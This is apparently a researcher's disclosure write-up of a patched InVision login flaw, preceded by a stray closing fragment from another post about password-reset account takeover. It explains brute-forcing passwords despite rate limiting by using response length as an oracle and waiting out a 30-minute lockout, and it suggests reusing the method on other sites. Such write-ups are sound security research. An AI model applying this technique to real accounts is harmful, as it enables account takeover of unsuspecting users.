So in this way one can Takeover on the victims accounts using the Password Reset Link also this way can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

InVision Rate Limiting Bypass

How I was able To Bypass InVision Rate Limiting

I want to share one of my finding on InVision which I have reported to them on 16th March 2014.

I have found that InVision following Url https://projects.invisionapp.com/d/login was vulnerable to Bruteforce attacks even when the Rate-Limting is implement for all the InVision users account and even when the victims account is locked.

So first I tried to do the Status Code Value or Response Code Value Analysis but it was same as 200 for all Right & Wrong Password attempts also the error message was generic for all Right & Wrong Password Attempts.

Then I tried to do the Length Code Value Analysis and I found that for Right Password the Length Code Value always Same and Constant as 7501 from the Wrong Password Length Code Values.

But there were 2 drawbacks 1st that in real world scenario how an attacker will know the Length Code Value for the Right Password of the victims account because the Length Code Value may vary for each victims account and the 2nd drawback was that even if the attacker get the Right Password he can't get logged into the victims account as it was getting locked once the Rate Limting is enabled.

So to find that I created 5 dummy accounts on InVision and then I checked the each dummy accounts Right Passwords Length Code Values and I found that it was again same as 7501 for each of those dummy accounts different Right Passwords. So in this way I confirmed that the Right Password Length Code is always Same and Constant for all the Victims(Users) accounts. 

After some Analysis I found that the locked account of the victim is getting automatically unlocked after 30 minutes time. So once the attacker got the Right Password he can then access the victims locked account as it is automatically getting unlocked after 30 minutes time.

Rate Limiting BypassVulnerability POC Screenshot:

 

In this way the attacker was able to Bypass the Rate Limiting of InVision.


Impact:

The attacker can successfully bruteforce the passwords on any users acccount even when the rate limiting is enabled and this can lead to account compromise.

Recommendation:
The Length Code Value for Right & Wrong Passwords shall always be Same for Any Users Account.


The account shall only be unlocked using a email which contains a Un-Lock account link.

.

 The vulnerability was mitigated by InVision Security Team within 6 days.

So in this way, one can Bypass Rate Limting and can also compromise the victims account also this technique can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.